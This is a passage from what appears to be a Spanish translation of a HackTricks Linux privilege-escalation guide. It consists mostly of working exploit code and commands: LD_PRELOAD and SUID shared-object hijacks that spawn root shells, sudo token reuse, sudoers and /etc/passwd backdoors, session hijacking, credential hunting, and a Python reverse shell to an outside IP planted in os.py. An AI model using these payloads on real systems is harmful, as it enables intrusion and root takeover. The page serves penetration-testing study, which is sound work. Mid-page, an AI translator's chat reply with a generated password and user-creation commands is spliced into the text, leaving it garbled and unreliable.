cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Endurecimiento:
- Elimine
BASH_ENV
(yENV
) deenv_keep
, prefieraenv_reset
. - Evite wrappers de shell para comandos permitidos por sudo; utilice binarios mínimos.
- Considere el registro I/O de sudo y la generación de alertas cuando se usan variables de entorno preservadas.
Rutas que permiten eludir la ejecución de sudo
Saltar para leer otros archivos o usar enlaces simbólicos. Por ejemplo en sudoers file: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Si se usa un wildcard (*), es aún más fácil:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Contramedidas: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo command/SUID binary sin especificar la ruta del comando
Si se otorga el permiso de sudo a un solo comando sin especificar la ruta: hacker10 ALL= (root) less puedes explotarlo cambiando la variable PATH
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Esta técnica también puede usarse si un binario suid ejecuta otro comando sin especificar la ruta (siempre verifica con strings el contenido de un binario SUID extraño).
Binario SUID con ruta del comando
Si el binario suid ejecuta otro comando especificando la ruta, entonces puedes intentar exportar una función con el nombre del comando que el archivo suid está llamando.
Por ejemplo, si un binario suid llama a /usr/sbin/service apache2 start tienes que intentar crear la función y exportarla:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Entonces, cuando llames al binario suid, esta función se ejecutará
LD_PRELOAD & LD_LIBRARY_PATH
La variable de entorno LD_PRELOAD se utiliza para especificar una o más librerías compartidas (.so) que el loader cargará antes que las demás, incluida la librería estándar de C (libc.so
). Este proceso se conoce como precarga de una librería.
Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables suid/sgid, el sistema aplica ciertas condiciones:
- El loader ignora LD_PRELOAD para ejecutables cuyo identificador de usuario real (ruid) no coincide con el identificador de usuario efectivo (euid).
- Para ejecutables con suid/sgid, solo se precargan librerías en rutas estándar que también sean suid/sgid.
La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con sudo
y la salida de sudo -l
incluye la sentencia env_keep+=LD_PRELOAD. Esta configuración permite que la variable de entorno LD_PRELOAD persista y sea reconocida incluso cuando los comandos se ejecutan con sudo
, lo que puede derivar en la ejecución de código arbitrario con privilegios elevados.
Defaults env_keep += LD_PRELOAD
Guardar como /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Luego compílalo usando:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Finalmente, escalate privileges en ejecución
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
caution
Un privesc similar puede ser abusado si el atacante controla la variable de entorno LD_LIBRARY_PATH porque controla la ruta donde se van a buscar las librerías.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
Binario SUID – .so injection
Al encontrarse con un binario con permisos SUID que parezca inusual, es buena práctica verificar si está cargando correctamente archivos .so. Esto se puede comprobar ejecutando el siguiente comando:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Por ejemplo, encontrar un error como "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" sugiere una posible explotación.
Para explotarlo, se procedería creando un archivo C, por ejemplo "/path/to/.config/libcalc.c", que contenga el siguiente código:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando los permisos de archivos y ejecutando una shell con privilegios elevados.
Compile el archivo C anterior en un archivo de objeto compartido (.so) con:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Finalmente, ejecutar el SUID binary afectado debería desencadenar el exploit, permitiendo una posible compromisión del sistema.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta donde podemos escribir, creemos la library en esa carpeta con el nombre necesario:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Si obtienes un error como
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
that means that the library you have generated need to have a function called a_function_name
.
GTFOBins
GTFOBins es una lista curada de binarios Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. GTFOArgs es lo mismo pero para casos donde solo puedes inyectar argumentos en un comando.
El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir ficheros, generar bind y reverse shells, y facilitar otras tareas de post-explotación.
gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'
FallOfSudo
Si puedes acceder a sudo -l
puedes usar la herramienta FallOfSudo para comprobar si encuentra cómo explotar alguna regla de sudo.
Reusing Sudo Tokens
En casos donde tienes sudo access pero no la contraseña, puedes escalar privilegios esperando a que se ejecute un comando sudo y luego secuestrar el token de sesión.
Requisitos para escalar privilegios:
- Ya tienes un shell como el usuario "sampleuser"
- "sampleuser" ha usado
sudo
para ejecutar algo en los últimos 15 minutos (por defecto esa es la duración del token de sudo que nos permite usarsudo
sin introducir ninguna contraseña) cat /proc/sys/kernel/yama/ptrace_scope
es 0gdb
está accesible (puedes subirlo)
(Puedes habilitar temporalmente ptrace_scope
con echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
o permanentemente modificando /etc/sysctl.d/10-ptrace.conf
y estableciendo kernel.yama.ptrace_scope = 0
)
Si se cumplen todos estos requisitos, puedes escalar privilegios usando: https://github.com/nongiach/sudo_inject
- El primer exploit (
exploit.sh
) creará el binarioactivate_sudo_token
en /tmp. Puedes usarlo para activar el sudo token en tu sesión (no obtendrás automáticamente un shell root, ejecutasudo su
):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- El segundo exploit (
exploit_v2.sh
) creará una shell sh en /tmp perteneciente a root con setuid
bash exploit_v2.sh
/tmp/sh -p
- El tercer exploit (
exploit_v3.sh
) creará un sudoers file que hace que los sudo tokens sean eternos y permite que todos los usuarios usen sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Si tienes write permissions en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario write_sudo_token para create a sudo token for a user and PID.
Por ejemplo, si puedes sobrescribir el archivo /var/run/sudo/ts/sampleuser y tienes una shell como ese user con PID 1234, puedes obtain sudo privileges sin necesidad de conocer la contraseña haciendo:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
El archivo /etc/sudoers
y los archivos dentro de /etc/sudoers.d
configuran quién puede usar sudo
y cómo. Estos archivos por defecto solo pueden ser leídos por el usuario root y el grupo root.
Si puedes leer este archivo podrías ser capaz de obtener información interesante, y si puedes escribir en cualquier archivo podrás escalar privilegios.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Si puedes escribir, puedes abusar de este permiso
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Otra forma de abusar de estos permisos:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Hay algunas alternativas al binario sudo
, como doas
de OpenBSD; recuerda revisar su configuración en /etc/doas.conf
permit nopass demo as root cmd vim
Sudo Hijacking
Si sabes que un usuario normalmente se conecta a una máquina y usa sudo
para escalar privilegios y has obtenido una shell en ese contexto de usuario, puedes crear un nuevo ejecutable sudo que ejecute tu código como root y luego el comando del usuario. Después, modifica el $PATH del contexto de usuario (por ejemplo añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo.
Ten en cuenta que si el usuario usa una shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo sudo-piggyback modifica ~/.bashrc
, ~/.zshrc
, ~/.bash_profile
. Puedes encontrar otro ejemplo en bashdoor.py
O ejecutando algo como:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Biblioteca compartida
ld.so
El archivo /etc/ld.so.conf
indica de dónde provienen los archivos de configuración cargados. Normalmente, este archivo contiene la siguiente ruta: include /etc/ld.so.conf.d/*.conf
Eso significa que se leerán los archivos de configuración de /etc/ld.so.conf.d/*.conf
. Estos archivos de configuración apuntan a otras carpetas donde se van a buscar librerías. Por ejemplo, el contenido de /etc/ld.so.conf.d/libc.conf
es /usr/local/lib
. Esto significa que el sistema buscará librerías dentro de /usr/local/lib
.
Si por alguna razón un usuario tiene permisos de escritura en cualquiera de las rutas indicadas: /etc/ld.so.conf
, /etc/ld.so.conf.d/
, cualquier archivo dentro de /etc/ld.so.conf.d/
o cualquier carpeta referenciada por el archivo de configuración dentro de /etc/ld.so.conf.d/*.conf
, puede llegar a escalate privileges.
Consulta cómo explotar esta configuración incorrecta en la siguiente página:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
Al copiar la lib en /var/tmp/flag15/
, será utilizada por el programa en este lugar según lo especificado en la variable RPATH
.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Luego crea una biblioteca maliciosa en /var/tmp
con gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capacidades
Las capacidades de Linux proporcionan un subconjunto de los privilegios de root disponibles a un proceso. Esto efectivamente divide los privilegios de root en unidades más pequeñas y distintivas. Cada una de estas unidades puede ser concedida de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.
Lee la siguiente página para aprender más sobre las capacidades y cómo abusar de ellas:
Permisos de directorio
En un directorio, el bit de "execute" implica que el usuario afectado puede "cd" al directorio.
El bit de "read" implica que el usuario puede listar los archivos, y el bit de "write" implica que el usuario puede eliminar y crear nuevos archivos.
ACLs
Access Control Lists (ACLs) representan la capa secundaria de permisos discrecionales, capaces de anular los permisos tradicionales ugo/rwx. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de granularidad asegura una gestión de acceso más precisa. Más detalles pueden encontrarse here.
Dar al usuario "kali" permisos de lectura y escritura sobre un archivo:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Obtener archivos con ACLs específicas del sistema:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Sesiones de shell abiertas
En versiones antiguas puedes hijack alguna sesión de shell de otro usuario (root).
En versiones más recientes solo podrás conectarte a screen sessions de tu propio usuario. Sin embargo, podrías encontrar información interesante dentro de la sesión.
screen sessions hijacking
Listar screen sessions
screen -ls
screen -ls <username>/ # Show another user' screen sessions
Adjuntarse a una sesión
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
Esto era un problema de versiones antiguas de tmux. No pude hijackear una sesión de tmux (v2.1) creada por root como usuario no privilegiado.
Listar sesiones de tmux
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
Adjuntar a una sesión
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Check Valentine box from HTB for an example.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.
This bug is caused when creating a new ssh key in those OS, as only 32,768 variations were possible. This means that all the possibilities can be calculated and having the ssh public key you can search for the corresponding private key. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh
SSH Interesting configuration values
- PasswordAuthentication: Specifies whether password authentication is allowed. The default is
no
. - PubkeyAuthentication: Specifies whether public key authentication is allowed. The default is
yes
. - PermitEmptyPasswords: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is
no
.
PermitRootLogin
Specifies whether root can log in using ssh, default is no
. Possible values:
yes
: root can login using password and private keywithout-password
orprohibit-password
: root can only login with a private keyforced-commands-only
: Root can login only using private key and if the commands options are specifiedno
: no
AuthorizedKeysFile
Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like %h
, which will be replaced by the home directory. You can indicate absolute paths (starting in /
) or relative paths from the user's home. For example:
AuthorizedKeysFile .ssh/authorized_keys access
Esa configuración indicará que si intentas iniciar sesión con la clave private del usuario "testusername", ssh va a comparar la public key de tu key con las ubicadas en /home/testusername/.ssh/authorized_keys
y /home/testusername/access
ForwardAgent/AllowAgentForwarding
SSH agent forwarding te permite use your local SSH keys instead of leaving keys (without passphrases!) en tu servidor. Así, podrás jump vía ssh to a host y desde allí jump to another host using la key ubicada en tu initial host.
Necesitas establecer esta opción en $HOME/.ssh.config
así:
Host example.com
ForwardAgent yes
Ten en cuenta que si Host
es *
cada vez que el usuario salte a una máquina diferente, ese host podrá acceder a las keys (lo cual es un problema de seguridad).
El archivo /etc/ssh_config
puede sobrescribir estas opciones y permitir o denegar esta configuración.
El archivo /etc/sshd_config
puede permitir o denegar el ssh-agent forwarding con la palabra clave AllowAgentForwarding
(por defecto es allow).
If you find that Forward Agent is configured in an environment read the following page as you may be able to abuse it to escalate privileges:
SSH Forward Agent exploitation
Archivos interesantes
Archivos de perfil
El archivo /etc/profile
y los archivos bajo /etc/profile.d/
son scripts que se ejecutan cuando un usuario inicia una nueva shell. Por lo tanto, si puedes escribir o modificar cualquiera de ellos puedes escalar privilegios.
ls -l /etc/profile /etc/profile.d/
Si se encuentra algún script de perfil extraño, debes revisarlo en busca de detalles sensibles.
Archivos Passwd/Shadow
Dependiendo del sistema operativo, los archivos /etc/passwd
y /etc/shadow
pueden usar un nombre diferente o puede existir una copia de seguridad. Por lo tanto, se recomienda encontrarlos todos y comprobar si puedes leerlos para ver si hay hashes dentro de los archivos:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
En algunas ocasiones puedes encontrar password hashes dentro del archivo /etc/passwd
(o equivalente).
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
/etc/passwd escribible
Primero, genera una contraseña con uno de los siguientes comandos.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
No tengo acceso a tu sistema ni al contenido de src/linux-hardening/privilege-escalation/README.md. ¿Quieres que:
- te dé las instrucciones/ comandos para crear el usuario en tu máquina (te los proporciono abajo), o
- pegues aquí el contenido del README para que lo traduzca al español y añada en el archivo la sección que cree el usuario
hacker
con la contraseña generada?
Mientras confirmas, aquí tienes una contraseña segura generada y los comandos que debes ejecutar en una shell con privilegios sudo para crear el usuario y asignarle la contraseña:
Generada: Gz8$kP3v9Qw!Rt2Xy6Bj
Comandos: sudo useradd -m -s /bin/bash hacker echo 'hacker:Gz8$kP3v9Qw!Rt2Xy6Bj' | sudo chpasswd sudo passwd -e hacker
Si quieres darle sudo: sudo usermod -aG sudo hacker
O para permitir sudo sin contraseña (si lo necesitas): echo 'hacker ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/hacker && sudo chmod 440 /etc/sudoers.d/hacker
Dime si quieres que inserte esto en la traducción del README (pega el README aquí) o si quieres otro formato/longitud de contraseña.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Ej.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Ahora puedes usar el comando su
con hacker:hacker
Alternativamente, puedes usar las siguientes líneas para añadir un usuario dummy sin contraseña.
ADVERTENCIA: podrías degradar la seguridad actual de la máquina.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
NOTA: En plataformas BSD /etc/passwd
se encuentra en /etc/pwd.db
y /etc/master.passwd
, además /etc/shadow
se renombra a /etc/spwd.db
.
Debes comprobar si puedes escribir en algunos archivos sensibles. Por ejemplo, ¿puedes escribir en algún archivo de configuración de un servicio?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Por ejemplo, si la máquina está ejecutando un servidor tomcat y puedes modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/, entonces puedes modificar las líneas:
ExecStart=/path/to/backdoor
User=root
Group=root
Tu backdoor se ejecutará la próxima vez que se inicie tomcat.
Comprobar carpetas
Las siguientes carpetas pueden contener copias de seguridad o información interesante: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probablemente no podrás leer la última pero inténtalo)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Ubicaciones extrañas/Owned files
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Archivos modificados en los últimos minutos
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Archivos DB de Sqlite
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml archivos
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Archivos ocultos
find / -type f -iname ".*" -ls 2>/dev/null
Scripts/Binarios en PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Archivos web
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Copias de seguridad
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Archivos conocidos que contienen contraseñas
Revisa el código de linPEAS, busca varios archivos que podrían contener contraseñas.
Otra herramienta interesante que puedes usar para esto es: LaZagne que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac.
Registros
Si puedes leer registros, puede que encuentres información interesante/confidencial en ellos. Cuanto más extraño sea el registro, más interesante será (probablemente).
Además, algunos "mal" configurados (¿con backdoor?) registros de auditoría pueden permitirte registrar contraseñas dentro de los registros de auditoría como se explica en este post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Para poder leer los logs, el grupo adm será de gran ayuda.
Archivos Shell
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
Debes también comprobar archivos que contengan la palabra "password" en su nombre o dentro del contenido, y también comprobar IPs and emails dentro de logs, o hashes regexps.
No voy a detallar aquí cómo hacer todo esto, pero si te interesa puedes revisar las últimas comprobaciones que linpeas realiza.
Archivos con permiso de escritura
Python library hijacking
Si sabes desde where se va a ejecutar un script de python y can write inside esa carpeta o puedes modify python libraries, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la os.py library).
Para backdoor the library basta con añadir al final de la os.py library la siguiente línea (change IP and PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate exploitation
Una vulnerabilidad en logrotate
permite a usuarios con permisos de escritura sobre un archivo de log o sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que logrotate
, que a menudo se ejecuta como root, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como /etc/bash_completion.d/. Es importante revisar los permisos no solo en /var/log sino también en cualquier directorio donde se aplique la rotación de logs.
tip
Esta vulnerabilidad afecta a logrotate
versión 3.18.0
y anteriores
Más información detallada sobre la vulnerabilidad puede encontrarse en esta página: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Puedes explotar esta vulnerabilidad con logrotten.
Esta vulnerabilidad es muy similar a CVE-2016-1247 (nginx logs), así que cada vez que descubras que puedes modificar logs, verifica quién gestiona esos logs y si puedes escalar privilegios sustituyendo los logs por symlinks.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Referencia de la vulnerabilidad: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Si, por cualquier motivo, un usuario puede escribir un script ifcf-<whatever>
en /etc/sysconfig/network-scripts o puede modificar uno existente, entonces tu sistema está pwned.
Los scripts de red, ifcg-eth0 por ejemplo, se usan para conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son ~sourced~ en Linux por Network Manager (dispatcher.d).
En mi caso, el atributo NAME=
en estos scripts de red no se maneja correctamente. Si tienes espacios en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco. Esto significa que todo lo que sigue al primer espacio en blanco se ejecuta como root.
For example: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Nota el espacio en blanco entre Network y /bin/id)
init, init.d, systemd, and rc.d
El directorio /etc/init.d
alberga scripts para System V init (SysVinit), el sistema clásico de gestión de servicios de Linux. Incluye scripts para start
, stop
, restart
, y a veces reload
servicios. Estos pueden ejecutarse directamente o mediante enlaces simbólicos que se encuentran en /etc/rc?.d/
. Una ruta alternativa en sistemas Redhat es /etc/rc.d/init.d
.
Por otro lado, /etc/init
está asociado con Upstart, un más reciente sistema de service management introducido por Ubuntu, que usa archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit siguen utilizándose junto a las configuraciones de Upstart debido a una capa de compatibilidad en Upstart.
systemd surge como un inicializador y gestor de servicios moderno, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de automounts y snapshots del estado del sistema. Organiza los archivos en /usr/lib/systemd/
para paquetes de distribución y /etc/systemd/system/
para modificaciones del administrador, simplificando el proceso de administración del sistema.
Otros trucos
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Los Android rooting frameworks comúnmente enganchan un syscall para exponer funcionalidad privilegiada del kernel a un manager en userspace. Una autenticación débil del manager (p. ej., checks de firma basados en FD-order o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
Protecciones de seguridad del kernel
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
Más ayuda
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
Referencias
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual – BASH_ENV (non-interactive startup file)
- 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
